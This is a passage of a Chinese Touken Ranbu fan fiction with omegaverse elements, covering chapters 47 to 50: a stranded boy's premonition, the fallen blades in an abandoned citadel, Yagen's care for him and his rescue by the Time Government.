鹤见悠纪边思考边敷衍应付:“我明白了,那就是说有处理的办法了吗?” “是的。” 处理掉已开启的系统,当时当主人出现在自己的问题之后那,后藤藤四郎的暗堕那边处理的怎么样了,接下来不会有问题的。 鹤见悠纪打断了他的话,他细细端详起眼前的厚藤四郎。 对方虽有疑惑但总体还是面无表情,就连任何细节的情绪也是没有任何异样的。 但是他总觉得有哪里不太对劲,暗堕后的厚藤四郎算得上是个冷漠的刀剑付丧神……但明明他们兄弟之间的情感也不差,真的会只因为自己是对方的审神者就出现这么强烈的情绪波动吗? 厚藤四郎真的会把杀死兄弟轻易说出口,还有信浓藤四郎真的能逃脱两个没有任何异常的付丧神的掌控,还带着异常的易感期来到自己的面前,没有被任何人阻止…… 不是他不相信浓藤四郎的能力,而是这一切都太诡异了,又或者说是他比起了解信浓藤四郎更加了解药研藤四郎和厚藤四郎的能力。 在四把刀里,他最了解的是药研藤四郎,毕竟同吃同住了那么久,另一个就是厚藤四郎,他们两人之间存在着契约,就算他对林地的战况也新手级别也达不到,根本不知道如何通过契约去反向查询厚藤四郎的状态。 但,也不至于……别人完全牵着鼻子走。 鹤见悠纪缓慢松开厚藤四郎的手,轻轻地问:“你是谁?” 他盯着眼前的厚藤四郎,一步一步的向后退,缓慢又坚定。 “我是厚藤四郎。” 厚藤四郎虽然疑惑着,但还是认真的回答了他的问题。 “不。” 鹤见悠纪视线挪开,视线都不再仅仅局限于眼前的厚藤四郎的身上。 越看越奇怪,明明这里是自己抓着对方来的隐蔽处,可是为什么他一点都不熟悉,是因为之前的战斗将这里的建筑毁了吗? 在外面的时候,却然而却没能得到信息,他脑海中堆积的只有更多更多的茫然,对这里还不甚是奇怪,可是就当他说出这些话的时候,心中的不确定也越来越长,眼前的怎么会不是厚藤四郎呢? 不论是长相声音还是性格,一切都一模一样,除了那有些突兀的处理方式以外,没有任何怪异点。 所以究竟还有哪里不对劲了,哪里越来越远,脚下步伐没有尊重他的意愿,停在原地。 厚藤四郎的面容也越来越模糊,一切开始扭曲。 鹤见悠纪忽然停下脚步,他明白了,他明白为什么了,因为这根本不是现实,这是梦,这是未来,这是预见。 但为什么会让他知道。 夜晚,在床上躺平的少年忽然大口喘气坐了起来,他迷茫地看着周围的一切,窗外黑沉沉的,显然是在夜晚。 怎么回事? 他正迷茫恍惚,不知所措,门口突然传来熟悉的脚步声…… 鹤见悠纪抓紧被子,他反应过来了,这是后藤藤四郎找他的时候。 太相似了。 他将那个虚幻的记忆对上节点。 ……所以后藤藤四郎确实会暗堕。 但是这一件事他不是已经经历过了吗? 为什么天亮真的会突然变成暗沉沉的样子? ……发生了什么事情? 他的大脑已经彻底昏沉了。 来不及思考,没有得到回应,本就因为暗堕情绪不定的付丧神猛地推开了门,鹤见悠纪一个激灵瞬间从床上翻起,就连鞋子也来不及穿,便急急忙忙从窗户翻了出去。 药研……药研藤四郎……他在哪里?! 按照那个梦,现在离他最近的,最安全的就是药研藤四郎。 鹤见悠纪找不到人,六神无主,脚下刺拉拉的石子已经无法阻拦他。 暗堕的后藤藤四郎,他绝对不能正面和对方对上,之前那个暂且称之为梦的未来里自己已经很顺从地应对却还是在最后被伤害了,怕是在进门的那一刻后藤藤四郎就已经被暗堕影响了,所以才会欺骗自己再等十分钟…… 十分钟后,是暗堕的完全体才对吧。 毕竟鹤见悠纪完全看不到十分钟后没有药研藤四的自己在暗堕的后藤藤四郎手中活下去的可能性。 身后的房间里传来嘶吼声,好像是暗堕化成的怪物发现猎物没有想象中的一样乖乖待着在愤怒了。 鹤见悠纪不敢停,他不知道药研藤四郎在哪里,但是他可以确定药研藤四郎绝对在周围,而且还有信浓藤四郎……信浓藤四郎的易感期还没有结束,还挣脱了束缚来找自己。 作为本丸里唯一的omega,鹤见悠纪知道会有怎样的后果,被药研藤四郎告知了许多信息的他不是最开始进入本丸时那样的无知了,甚至敢毫无防备地主动靠近易感期的alpha。 那为什么,那个里面的自己敢……因为没有办法逃开。 之前那次若不是药研藤四郎控制住了自己并且从交换的□□里获得了足够让他清醒的信息素,就不仅仅是亲吻而已了。 常年被易感期控制的alpha暴躁不堪,信浓藤四郎的性格更加活泼开朗,绝对不是药研藤四郎那样冷静自持善于压制的。 可恶。 鹤见悠纪越想越糟糕。 这个本丸里怎么到处都是危险。 时政到底什么时候才能发现他,他想回家,特别想,这种让人静不下来的日子究竟什么时候是个头。 边想边找,却怎么也没找到药研藤四郎的身影,无结果的寻找让他更加急切起来,脚下也变得慌不择路。 一个不注意,有什么尖锐的东西划过脚底,鹤见悠纪被刺激得踉跄,他皱起眉头,找阴影处蹲下,小心翼翼看了看,丝丝鲜红的血液流淌而出,在沾染了灰尘的脚底格外明显。 “怎么办……” 他咬着唇,起身环顾四周,一切都黑乎乎的,药研藤四郎找不到,信浓藤四郎易感期,厚藤四郎可能已经被信浓藤四郎做了什么,一时之间他都不知道自己该怎么办。 “药研。” 他唤着这个名字,这是现在唯一安全的选项,可是对方却不知所踪…… 他有点无助,莫名其妙出现在脑子里的东西让他现在都头疼昏胀。 “我在这。” 低沉的声音突然出现在身后。 鹤见悠纪一怔,他猛地回头,就看见满头凌乱的药研藤四郎。 付丧神不知道去做了什么,头发乱乱的,脸上也带着一道小小的伤口,衣服不同于平日里的整洁,像是慌乱中抽身而来。 “……你怎么了?” 鹤见悠纪瞬间不急了,他一瘸一拐地靠近他,抬手动作自然地给药研藤四郎理了理头发,心情已经随着药研藤四郎的出现静了下来。 等了几秒没听到药研藤四郎的回应,鹤见悠纪疑惑地去捉付丧神的眼睛,却发现对方正看着自己的脚一动不动。 脏脏的还带着血腥气息的脚赤裸着踩在地上。 就好像在告诉药研藤四郎: 在这里,鹤见悠纪就连安稳的睡眠以及及格的生活水平都无法保证。 他如此无力。 药研藤四郎一直守在鹤见悠纪的周围,他不希望一心等待回家的少年在回家前夕出现什么意外。 想要回到平静的生活无可厚非,一段珍贵的记忆已经塑造完成,那自己只需要守着记忆去等待终结就好了。 鹤见悠纪做出怎样的选择他都理解,在没有任何同类的环境中战战兢兢地和异类周旋,第一次做这种算计人心的少年怕是吓坏了。 漏洞百出,每一次的破绽都表现得明明白白。 但是没关系。 悠纪,你看,我被骗到了哦。 不要不安。 开心一点,迎接回家的那一天吧。 药研藤四郎突然伸出手把鹤见悠纪吓了一跳,然而下一刻,付丧神的动作很快一手落在他的腿腕,一手扶在背部,将人直接抱了起来。 两个人的身量是差不多的,这样抱小孩的动作让鹤见悠纪的视角突然变得很高,而手臂往前也摸不到任何东西,只能不适应又有些害怕地抓着药研藤四郎的头发,努力保持平衡。 “你、你怎么了?怎么突然……”鹤见悠纪心脏跳的飞快,他有些恍惚的看着周围,心神不定,总感觉自己下一刻就要掉下去了。 “下次不要光脚走出来了,外面地面没有屋内那么平坦,很容易受伤的。” 药研藤四郎一扫刚刚眼神中的阴郁,声音温柔如常,动作迅速的带着他到干净的地方去坐下,放下人时鹤见悠纪还有些没有反应过来。 他看着眼前的药研藤四郎蹲下身,不知从哪掏出手帕来将自己的脚底细细擦干净,但不小心触碰到伤口时还是疼的他下意识瑟缩。 药研藤四郎抿唇,用了些力气握住他的脚腕,没能让他直接缩回去,手中也用了些力气处去除伤口的周围的渣子。 鹤见悠纪抿唇,忍着痛还有心思想别的。 他想问对方之前在哪里,有想问后藤藤四郎现在的状态怎么样了,但是看着少年付丧神认真给自己处理伤口的样子,这些话便都堵在喉咙里,觉得什么也不适合现在说出来。 药研藤四郎又不知从哪掏出来的碘伏涂在伤口上,一举一动很是认真。 鹤见悠纪眨了眨眼,感觉有点痒又说不出口,腿一直微微颤抖着,白皙的小腿大半暴露在外。 付丧神目光自若,处理干净伤口之后,又将鹤见悠纪的脚放在自己的大腿上,细细去擦干净另一只脚。 第47章 动作实在是太暧昧了,鹤见悠纪从来没有被哪个人这样细致地触碰脚底,还做出放在大腿上这样亲昵的动作。 两个人就这样沉默的待了许久,药研藤四郎坐在鹤见悠纪的对面,视线落在少年的膝盖处,不知道在想些什么。 鹤见悠纪感觉有点凉飕飕的,大晚上的,又把他的裤子撩起来到小腿中央下方,那块皮肤被冷风直直地吹,肉体凡胎的他哪里坚持的住。 但是看着药研藤四郎奇怪的样子,他又不敢轻举妄动,虽然是自己不小心受的伤,药研藤四郎发现之后变得可怕起来了。 对方看起来虽然很平静,语气也是温柔的,就连处理他伤口的动作也是同样的一丝不苟,但是鹤见悠纪的直觉告诉自己,对方生气了。 这算什么,传说中的超直感吗……? 咳咳。 可是他有什么好生气的,在自己需要的时候怎么也找不着,而且这伤还是为了远离危险去寻找药研藤四郎才受伤的,四舍五入就是因为药研藤四郎受的伤! 这么一想,原本因为自己神奇的猜测而变得心虚的鹤见悠纪瞬间再次变得理直气壮起来。 他直接伸出手戳了戳药研藤四郎的肩膀,惹得付丧神疑惑抬头朝他看来。 药研藤四郎眉头紧锁,被戳得回过神来,他观察到鹤见悠纪的表情,若有所感低头看了看因为冷风都有些起鸡皮疙瘩的小腿。 药研藤四郎:“——!” 他反应过来了,连忙将卷起的裤腿重新放下,身子也换了个方向,挡在风吹来的角度。 鹤见悠纪捂脸,无奈:“我不是想让你给我挡风的意思,我只是想问问你在发什么呆呢?” 药研藤四郎也不隐瞒:“我在思考后藤。” 付丧神低头,神情显得有些暗淡,他说:“后藤暗堕的程度突然变得很深,本应还有百来年的时光在一瞬间被压缩,按照现在的情况看来,他只不过十几日便会彻底暗堕了……” 他没有隐瞒事实,而是一字一句清晰的告诉了河鹤见悠纪,而鹤见悠纪因为自己那不知道是预知还是梦的记忆知道了这件事,他甚至有些感叹那种状态竟然还没有彻底暗堕啊,表面没有异常地点了点头:“所以你是在为了这件事烦恼。” “对,”药研藤四郎揉了揉他的小腿,放松收了冻的肌肉回温,“自从没有了审神者之后,我们兄弟四人便在这座本丸中相互扶持,后藤虽然因为暗堕的体现失去了半数的时间,但是在夜晚,我们仍旧像过去一样相处着。突然发生这样的事情,有些出乎我的意料。” 现在的后藤藤四郎被暗堕操控着放大了心中的欲望,这份欲望竟然是冲着鹤见悠纪去的,这件事情让他有些无措。 毕竟在他看来后藤藤四郎和鹤见悠纪之前并没有什么关系,为什么彻底暗堕前夕的后藤藤四郎的执念会是鹤见悠纪呢? 他无法想明白,但是在发现后藤藤四郎暗堕,并且鹤见悠纪逃离的那一刻,他就冲过去先将即将暗堕的后藤藤四郎压制了下来,防止对方对鹤见悠纪做出什么过分的事情来。 暗堕付丧神失去了理智之后可不是讲道理解决的。 武力虽然不是他想用来面对兄弟的方式,但是在大多数时候的这种情况下都是最好的选择。 “那你需要做什么吗,”鹤见悠纪见他没有放过自己腿的打算,便宜就揪着这个姿势向后靠着放松下来,他脑子转了转,又问道,“还有我,我能做点什么吗?” “让他不要伤害别人,并且在需要的时候帮助他结束痛苦,这就是我们能为暗堕的付丧神所做的唯一的事情。” 药研藤四郎语气平静,但其中仍然夹杂着一股无法忽视的戾气,即将亲自面对兄弟即将死去的事实,还是让他有些无法消化。 但现在对上鹤见悠纪的视线时他还是勉强扯出了个温柔的笑容,一瞬间,严肃冷静的面容变得柔和了许多:“别担心,不会有什么事情的,今晚只是意外,我会一直呆在你身边,直到你离开这里。” 这是他从成为审神者的兄弟厚藤四郎手中拿到的唯一权利。 厚藤四郎和鹤见悠纪之间有契约,无论只是暂时还是之后会跟随着鹤见悠纪离开,至少在现在,他都比他们跨出了这一步。 在这接下来的半年间,只要不像后藤藤四郎一样发生这样的意外,厚藤四郎的未来便已不算难过了。 人类生命不过百年,而他们也将在百年之后逝去。 能够在生命的最后找到一位想要效忠并且保护的主人,大概也算刀剑最后的力量也没有埋没。 鹤见悠纪其实并不像历史中他们曾经的主人一样立下丰功伟绩,或在世界的发展进程中做出不可或缺足以被记载的事情,但是这些岁月的相处,拥有了人类的身体和情感的刀剑付丧神用自己的心选择了他,选择了这位平凡普通的人类主人。 只不过,药研藤四郎就算是又争又抢,最后也还是落了个失败的结局。 鹤见悠纪听了他的话也很安心:“好。” 所以今天晚上自己找不到他,是因为要验证死囊去处理后的呢,死囊突然按错的事情了。 然后等等食堂这边转钱转去吃只猪了,但是在那段记忆中的信浓藤四郎…… 他抓住药研藤四郎的手,询问:“信浓藤四郎呢?易感期的话应该已经结束了吧,现在他的状态怎么样?还有厚藤四郎,也好些日子没有见到他了。” 他跟需要确定。 “信浓想来应该已经完全恢复正常状态了,至于厚藤四郎,我也好些日子没有和他见面了……”药研藤四郎说着说着突然一顿,他突然反应过来有什么不对劲,自己这些日子一直在鹤见悠纪身边转悠,因为本丸因为契约之后建立起来的屏障让他放下了许多戒备,竟然连厚藤四郎在信浓藤四郎易感期结束之后也未曾与自己见面的这么重要的信息都没有发现异常。 厚藤四郎虽然在暗堕之后失去了大部分情绪表达,但是也并没有因此就舍弃了他们这些兄弟的身份,除了情感被剥夺变得淡薄了些,他们和平常的相处无甚区别。 他心中突然有些不好的预感,但是眼前与厚藤四郎契约相连的审神者鹤见悠纪并没有出现什么不好的预感,那至少可以说明厚藤四郎现在是安全的,那为什么没有出现呢? 药研藤四郎站起了身脚,喝点幼鸡的腿放在一边的软凳上:“你现在先在这里休息一下,我去寻找一下,很快便会回来。” 鹤见悠纪见他又丢下自己,连忙把人抓住:“不要,我不想和你分开,带上我吧。” 他很不安啊!!!!!! 信浓藤四郎在之前的景象中展现的可不像仅仅是易感期没有结束,怕是暗堕同样也侵袭了他,所以易感期才会在应该结束的时间还没有结束,暗堕的力量,他在后藤藤四郎那里已经体会到了。 还有那个在梦境中变得疯癫而有病娇的信浓藤四郎也实在是让他无福消受。 他需要药研藤四郎。 药研藤四郎没有拒绝,他把鹤见悠纪背到背上,目标明确的向信浓藤四郎现在应该所在的地方走去。 然而,越往这边走他就越觉得异常。 易感期的alpha会控制不住自己的信息素向外发散,是就像是在用气味标记领地一样的举动。 然而,现在他却没有在这里闻到一丝一毫应该属于信浓藤四郎的气息。 这个信息好坏参半。 若是他的易感期结束了,那便是好的,若是易感期没有结束,或是发生了什么别的事情……根据之前的猜测,大概是坏的那一方面,他目光变得更加警惕起来。 鹤见悠纪示意他把自己放下,两个人站在门两边,药研藤四郎一手握着本体,一手小心地推开门。 屋内的景象让门口的两人同时怔住了。 血腥味扑面而来,而一把完好的刀刃稍厚的短刀静静躺在地上,适配的刀鞘随意地落在一边。 一片安静。 第48章 血腥味是从哪里来的? 眼前的刀尖明显是厚藤四郎,鹤见悠纪认得出来,比起其他兄弟要更加厚的刀刃在此刻如此明显。 而在这里的,也只可能是厚藤四郎了。 这把短刀看上去没有任何破损。然而,老人暴露在外,刀鞘落在一边不知所踪的样子便已经说明了一切的不正常。 药研藤四郎率先闯进房间,他的手颤抖着拿起本体,直到他从中感受到熟悉的气息仍旧平稳着才放松下来,然而皱起了眉头仍旧没有松开。 他环顾四周。 鹤见悠纪将一片的刀鞘递给他:“看出什么问题了吗?” 他的声音同样低沉着,现在的状态已经打开门时闻到了浓重的血腥味,让他整个人都十分难受,现在视觉反馈来的信息上却没有任何问题。 然而,未知就是最大的危险。 信浓藤四郎现在在哪里?这么浓重的血腥味,而厚藤四郎除了变回本体以外看起来没有受到任何伤害,那么这些血液的气息,便只可能来自于信浓藤四郎。 药研藤四郎摇了摇头:“找不到,身体的感官反馈来的信息,在相互斥驳。” 鹤见悠纪明白他的意思,虽然按照推理来说,应该是信浓藤四郎受了伤,可是在那份奇怪的状态似未来的记忆中,信浓藤四郎身上是没有任何伤害的。 不知道为什么,那诡异的记忆对他来说好像就是未来。 没有任何依凭。 为什么会有那些些东西出现在脑海中? 难道这是契约之后带来的什么后果吗? 而且明明一无所知,但鹤见悠纪就是如此坚信着那是未来。 药研藤四郎把厚藤四郎的本体收了起来,放在自己腰间,而他自己的刀在同一处位置。 鹤见悠纪看了一眼,又收回眼神:“他还能恢复吗?” 虽然那份记忆里厚藤四郎是人形来到这里身边,但是…… 药研藤四郎点了点头,安慰:“没事,给点时间就会恢复的,就是现在空气中的这些血腥味。” 他摇了摇头。 两人对视一眼,然后分别开始在房间中寻找起来,然而就连每个角落也都查了一遍,人就没有找到血腥味的源头。 鹤见悠纪一手撑着墙壁,一只脚脚尖着地,苦恼的看着那只脚。 之前光脚走路导致出现了伤口,他都无法长时间走路了。 药研藤四郎很快发现他的状态,主动走了,果然朝他伸出手:“接下来交给我吧,我先带你去找地方休息下来。” 他的伤口是他处理的,他知道伤口的状态如何,虽然不算大,但也并不适合长久的走路。 鹤见悠纪没有推脱,他顺着付丧神的手,趴到对方背上,双手熟练的怀绕过药研藤四郎的颈脖。 他的小腿随着惯性晃动,他感受到了两把刀,碰到厚藤四郎时的感觉很奇妙,就好像通过接触的部位,两者连通了一样。 两侧的景色飞快向后掠去,药研藤四郎的速度是极快的,鹤见悠纪被风吹的有些睁不开眼睛,便就躲在付丧神身后,全心全意把注意力投入到和厚藤四郎身上。 刚刚的那种感觉…… 很平静,和在未来中造成和自己向角落走去询问的厚藤四郎不同。 那个厚藤四郎明显更加疯狂,需要解决问题时,第一反应便是将制造问题的人杀掉。 他若有所思。 那个未来中厚藤四郎天还没亮就已经出现在了屋外,并且让自己知道了他的存在,那现在的呢? 他收紧了环绕在药研藤四郎颈脖间的手臂。 不知道药研藤四郎什么时候又收拾出了一间房间,鹤见悠纪被放在柔软干净的床上时,都还在沉浸在自己的思维里。 突然被拍了拍脑袋,他缓慢的回过神来,抬头迷茫的眼睛看向药研藤四郎:“怎么了?” 药研藤四郎盯了他两秒,没有多说什么,只是叹了口气:“若是实在不舒服,便早些睡觉吧,接下来若是有什么不方便的事情……我会一直在。” 鹤见悠纪明白他的意思,他点了点头,看着药研藤四郎带着厚藤四郎离开的背景,踌躇片刻,还是把人叫住了。 “药研。” 药研藤四郎回头,沉静的紫眸里带出几分疑惑。 鹤见悠纪很认真地问:“厚藤四郎他再次醒来的时候,暗堕的程度会有变化吗?” 药研藤四郎一顿,没想到他会问出这个问题:“一般是不会的,暗堕的侵蚀在没有外界条件刺激的情况下会保持原有的进度。” 而按照他们的情况,都是百年之后。 鹤见悠纪似懂非懂地点了点头:“所以,后藤藤四郎是受了什么刺激吗?” 明明都在本丸里,也不会遇到危险,刺激源又会从何而来? 鹤见悠纪知道了后藤藤四郎为什么会突然加深暗堕之后,他依旧不明白。 药研藤四郎不知道,于是他摇了摇头,看着少年焦虑的样子,alpha的信息素悄无声息贴了过来,随着它的主人一起安抚不知所措的omega,他道:“别担心,不会有事情的。” 鹤见悠纪努力平稳呼吸,挣扎着站起身,几步单脚跳跃靠近握住他的手,感受着来自付丧神的体温,还有周围缓慢飘散,切实存在的信息素的味道。 是在夜晚独有的带着酸酸的甜味,无比的熟悉,给他带来无尽的安心感。 他呼出一口气,眨了眨眼睛,感觉自己的心好像真的平静了下来。 药研藤四郎把他安抚下来之后,便彻底离开了。 鹤见悠纪走到门口,向他的方向望去,是想去找后藤藤四郎。 后藤藤四郎的状态确实是最不稳定的。 还有不知所踪的信浓藤四郎,他极有可能还处于易感期。 一切情报拉通之后,鹤见悠纪发现自己还是不知道该怎么。 他关上门重新坐回软塌上,眼睛里都是迷茫。 现在和之前那个梦里的一切走向都不一样了。 现在本丸中的四把刀有三把刀都是不安全的,只有药研藤四郎一个人可以信任,然而这四分之一的信任也不能被他一直捆绑在自己身边,对方必须去处理本丸中那些危险的元素。 以前也是这样的,只不过从有同伴的解决时间溯行军,到现在无同伴的解决自己的兄弟,而且还要照看他这个废物。 如果一直待在自己身边,显然会受到限制。 鹤见悠纪想了又想,突然惊恐的发现自己竟然什么也做不到。 信浓藤四郎的易感期为何会超出正常时间的原因还没有找到,厚藤四郎变回了本体,虽然在未来中没有任何人帮助最后也恢复了人形,但显然那个状态也十分不对劲的。 太怪了,太迷茫了,他究竟该怎么办? 就这样待在这种房间里吗?他很不甘心,可是现在弱小的他,就连随便一个有武力值的都可以将他拿捏。 他确实是这样的废物。 鹤见悠纪捏紧了手指,脚底还在隐隐作痛,他眼睛恍惚地看向窗外,一片漆黑中,出现了几分裂痕,那些裂痕在散发柔和的乳白色光亮。 是星星还是月亮?他恍惚间猜测着。 不,都不是。 他突然睁大了眼睛,看着那和时间溯行军降临时有几分相似的东西。 时空扭曲,撕裂,而后被打开。 然而,从那通道中出现的,并非是如同怪物一样的时间溯行军,而是他所难以见到又渴望见到的—— 人类。 是人类。 竟然…… 他的心颤抖了。 超出预料的,超出预知的,超出他所想的,突如其来降临的……那些人穿着规整的衣裳,目光警惕,手中还带着武器的人类,以及他们身后紧随而来的刀剑付丧神们。 鹤见悠纪没能忍住,他一翻身冲到窗前,他的手撑在窗台上,而后整个人忽然安静了下来。 他静静的停在那里,视线紧紧粘在那些人的身上,那是两个人类,然后跟着十二位刀剑付丧神,他们明显在寻找什么,很快视线便锁定到他的方向。 鹤见悠纪的心脏快速跳动起来,在一片寂静中,他清晰的听见自己内里呃声音。 他想,他们是来找自己的。 曾经药研藤四郎所讲的他渴望的正确的未来在此刻应验了,只要和本丸签订契约,只要和付丧神签订契约,便会成为有所备案的审神者,资料会出现在时政。 然而又因为他并未真的签订合同,便会发现资料有问题进而寻找他。 不论鹤见悠纪最后的结果是成为真正的审神者,还是被抓回原本的世界,他都可以离开这里成功回家。 现在,这个目的达成了。 ——他可以回家了。 六个字在脑海中不断放大,最后就像巨大的病毒一样缓慢扩散,最终占据他整个人。 鹤见悠纪喉咙干涩,他几乎想要现在立刻翻窗而出,冲到那些人的身前,祈求他们带自己回家。 但是理智拉住了他疯狂的想法。 不用,他们已经来了,自己可以回家的。 等待。 等待就好了啊。 就在这时,刚刚关上的房门被猛的推开,药研藤四郎喘着粗气,他神色匆匆,看起来十分紧张,付丧神的视线环绕一周,然后锁定站在窗前的鹤见悠纪身上。 鹤见悠纪回头,他有些不敢看药研藤四郎的眼睛。 空气静了下来。 两个人沉默地对视着,两双相似的紫色眼眸此刻截然不同,一方看不出情绪,一方带着不知所措的踌躇。 他们知道了。 意外迷失的少年在混乱中迎来了回家的信号。 药研藤四郎成为本丸中兄弟们的混乱忙上忙下。 后藤藤四郎暗堕加快,厚藤四郎变回本体,信浓藤四郎不知所踪,而现在,鹤见悠纪也要离开了。 鹤见悠纪显然也反应过来了两人之间的处境,他看着药研藤四郎,张不开嘴。 他不知说些什么。 可以回家了他应该是高兴的,但是看着对方那沉静下来带着一丝荒凉的眼神,他又不知所措了。 在对方最头疼的时候离开……他总觉得自己做的有点不太道德。 鹤见悠纪面色苍白,可是他本来就是累赘,本来就是废物,能够在这混乱的节点离开,不再做阻拦药研藤四郎的那个累赘也是极好的吧。 说不定如果自己没有掉进这座本丸,没有成为一名omega,就不会让大家现在的状况这么难过了。 “药研,他们是……”鹤见悠纪感觉自己的声音都有些干涩,喉咙好像被刺痛到发不出声音了。 “时政的人。” 药研藤四郎任何情绪的声音肯定了这个两人心知肚明的现实,他很平静,甚至扯出了个笑容,“恭喜,你终于可以回家了。” “谢谢。”—— 作者有话说: 第49章 鹤见悠纪僵硬了半天,最终还是迈开脚步,一步一步走到药研藤四郎的身前。 付丧神的腰间还放着厚藤四郎的本体,这一次,药研藤四郎没有再主动向他靠近,没有再伸出手将他抱进自己的怀里安慰。 鹤见悠纪现在的神情再无措再迷茫,他也没有再主动靠近了。 鹤见悠纪即将离开这里,即将回到自己生活。 鹤见悠纪抿了抿唇:“你会好好的吗?” “会的。” 药研藤四郎最终还是不忍心他如此纠结的样子。 他叹了口气,神情变得放松下来,熟悉的温柔在鹤见悠纪面前满上眉梢:“时政的人来了,他们发现这里的情况不会置之不理的。虽然我们算是被流放了吧,只不过暗堕付丧神的处理本就在他们的工作范围之内,不必担心。” 他熟悉的、温暖的、宽大的手掌拍了拍鹤见悠纪的后脑袋,而后停顿,指尖穿插进柔软的深色发丝中。 在这些日子里,也是认真将眼前的少年好好待着,头发如来时一样顺畅,没有干枯分叉。 充满了精神的健康少年,会像没有来过这里一样完完整整地离开。 所以现在也不能让鹤见悠纪有任何负担。 鹤见悠纪点了点头,多少也觉得因为他的话有些放松下来。 既然事情会被处理的话,那大家都会被找回来,说不定暗堕也有办法处理,毕竟时之政府听起来就有很多手段。 药研藤四郎敏锐感受到越来越近的气息,他的手从少年的头顶往下滑落后颈最后落在后背处。 他顿了顿,然后用力掐人揽进自己的怀里,一触即分,后退两步,他的声音平静又宁静,然而风平浪静下脑海中闪过的全是眼前少年的一切。 药研藤四郎嘱托他:“下次可不要再这么轻易的将自己的名字告诉神明了。” 鹤见悠纪正要抬起手回应这个拥抱就被推开了,他看着药研藤四郎,没有躲避,声音也努力平静。 好像刚刚的不知所措和迷茫都是假的一样。 “好。” 鹤见悠纪向那些人走去,而药研藤四郎则继续在本丸中寻找失踪的信浓藤四郎,后藤藤四郎那边的情况已经稳定了下来,只要短时间内不再受刺激便不会再次加速暗堕的进程。 现在只有失踪的信浓藤四郎让人感到紧迫了。 不过没关系,靠谱的药研藤四郎会处理好一切。 鹤见悠纪被带走了。 他坐在干净的房间里,看着眼前为自己备上的热水,他将其握进手里,熟悉的触感抚平内心的忐忑。 然而,他一路走来没有感知到任何熟悉的气息,就连那些面容曾经见过的付丧神们,在他看来也是如此的陌生。 和药研藤四郎最开始的警惕和冷漠以及后来的温柔与安抚不同,他们的眼中只有淡漠,只有在触碰到自己的主人时才会泛起涟漪,而看向他人的目光都是陌生人。 这是理所当然的。 鹤见悠纪被从那座本丸带出来之后做了一个类似体检的扫描,神奇的没有发现任何毛病,当时工作人员惊叹的眼神他都还记得。 随后他就被暂时安置在了这里,后续似乎会有人来找他。 他不太清楚。 他们为他带来了温暖的热水,香甜的食物,甚至还宽慰他不必担忧。 一切都让人感到安心。 鹤见悠纪捧着杯子喝了一口,温热的液体顺着喉咙流进胃里,却怎么也驱散不了身体状态寒冷。 他果然还是有所不适的。 但是没关系,再等待一下就好了。 时间一分一秒过去,不过十分钟,他却像是过了一个世纪一样漫长,门被推开了,鹤见悠纪紧张起来,那里走进来一个面容和善的男子。 “你好,我是时之政府的文员,你可以称呼我为格织,接下来有什么问题都可以告知于我,在这之前我先向您告诉一下是政府的意义吧。” 格织在他面前坐下,语气是温柔的姿态也是从容的,没有一丝一毫的压迫感,就好像两个人是朋友一样自然。 鹤见悠纪在他的引导下变得放松下来。 少年安静地听格织讲述着什么是审神者,什么是时之政府,什么是付丧神,那套早已知晓的作为游戏背景的知识被作为真实的事情讲了出来。 一开始还有些无所谓的心态在对方法上认真的讲解中也变得认真下来,虽然之后不会跟自己有什么关系,但在此刻他也算被参杂其中了。 “……具体事情就是这样了,很抱歉,让你遗留在了陌生的危险的暗堕本丸中,来到这个世界的这些日子,很难过吧。” 其实没有太难过。 “没关系,至少现在我还坐在这里。”鹤见悠纪眨了眨眼,声音低下来,弱弱的,“找到我的时间还不算晚。” 格织果然对后辈年纪的少年多了几分怜爱,他叹了口气:“请别担心,我们之后定会将你安全送回你的世界的。” 鹤见悠纪露出个安心的温柔笑容:“嗯。” “只不过,在之前的身体检查中,我们意外发现你的灵力很磅礴,你若是能够成为审神者的话,必然会有一番大建树。” 来了。 鹤见悠纪顿时打起精神,面对这意料之中的话语,他早已做好了准备。 少年手指捏着衣角,看起来有些愧疚,声音低低的,充满忐忑:“抱歉,我对成为审神者并没有什么意向,毕竟我还在上学。” 格织:“没事的,这只是我随便说的一句话而已,不用太在意,既然如此,等回去之后好好上学争取自己的未来也确实不错。” 作为一个学生时代的过来人,他自然理解在现在这个年纪的孩子脑海中客观层面上考试大于其他一切的想法。 他正想继续说点什么,门突然被敲响,格织微微皱起眉头,但看起来确实有事,他无奈向鹤见悠纪致歉后便走向门口。 鹤见悠纪坐在原地,眼前没了陌生人他缓缓松了口气。 格织没有什么反应,看来自己刚刚的状态没有什么异样,毕竟怎么说也算是自己的真实想法。 那边的门没有关紧,留着一道缝隙,隐隐约约有声音从外面传来,但他听不甚清晰。 听不到也就听不到吧,他有些无所谓地捧着手里的热水再次喝了一口。 空气中都是缓慢平静的,他仿佛已经看到了回到自己日常生活中之后重新开始学校家里两点一线的生活。 不知道家里人对自己这种的一个月以来的失踪会多么着急,而自己又要怎么向他们解释,这堪称有些离谱的奇幻经历? 没多久格织再次回来了,他脸上带着些歉意:“出了点事情,关于你之前拿错本丸中的付丧神的事。” 鹤见悠纪适时露出几分疑惑。 格织继续道:“想必他们的情况你也简单有所了解,目前的状态很不好,现在已经有两把刀都已经可以肯定即将迈入彻底暗堕了。” “两把?”鹤见悠纪手指捏紧,语气里是压制不住的惊讶,“怎么会有两把呢?我记得只有一把……” 他突然收住了后面的话,是了,异常的信浓藤四郎或许正是那另一把暗堕的刀。 格织摇了摇头:“应该是被什么刺激了。接下来可能需要你的一点配合,我们需要解除你和暗堕刀之间的契约。请放心,我们不会让暗堕的刀剑影响到你的。” 契约……? 这个词语出现的一瞬间,几乎就揭示了另一把刀的身份,鹤见悠纪已经听不进去他后面的话了。 怎么、怎么会是厚藤四郎呢?—— 作者有话说: 第50章 鹤见悠纪虽然觉得那份未来中的厚藤四郎不正常,却怎么也没想过,他就是此刻对方口中的那把已经暗堕的刀剑。 但他那样的状态又是因为什么?鹤见悠纪不敢确定,只是在听到这句话时,他的表情再也维持不住了,原本因为快要回家而出现的淡定与从容还有那些准备的小心机都在此刻破碎了。 他的眼瞳剧烈震颤着,他看着眼前格织一脸保证的样子,声音颤抖着开口:“暗堕了……暗堕真的没有办法再救了吗?” “暗堕是不可逆的,只能控制而不能祛除。”格织说得肯定,仿佛就是常识一样。 只不过看着眼前对这些体系的知识一无所知的少年,他还是详细解释了一遍:“这是因为付丧神的暗堕是因为某种情绪刺激让他们内核开始被负面的力量侵蚀,是从内核开始出现问题的。人类再怎么强大,除了更高位的神明,都无法修复末位神明的核心。” 